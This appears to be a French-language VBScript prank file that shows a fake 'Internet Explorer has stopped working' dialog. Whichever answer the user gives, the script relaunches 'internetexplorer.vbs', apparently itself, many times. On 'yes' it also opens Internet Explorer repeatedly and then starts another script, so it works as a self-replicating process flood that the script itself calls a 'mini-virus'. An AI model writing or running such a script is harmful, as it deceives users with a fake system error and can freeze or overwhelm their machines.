46 lines
No EOL
2.2 KiB
Text
Executable file
46 lines
No EOL
2.2 KiB
Text
Executable file
result = MsgBox ("Est-tu sûr de vouloir utiliser Internet Explorer ?", vbYesNo + vbCritical, "InternetExplorer.exe à cessé de fonctionner")
|
|
|
|
Select Case result
|
|
Case vbYes
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "internetexplorerplus.vbs"
|
|
|
|
Case vbNo
|
|
MsgBox "Ouf, j'ai eu peur, mais bon, je te laisse avec le mini-virus :)", vbInformation
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "internetexplorer.vbs"
|
|
|
|
End Select |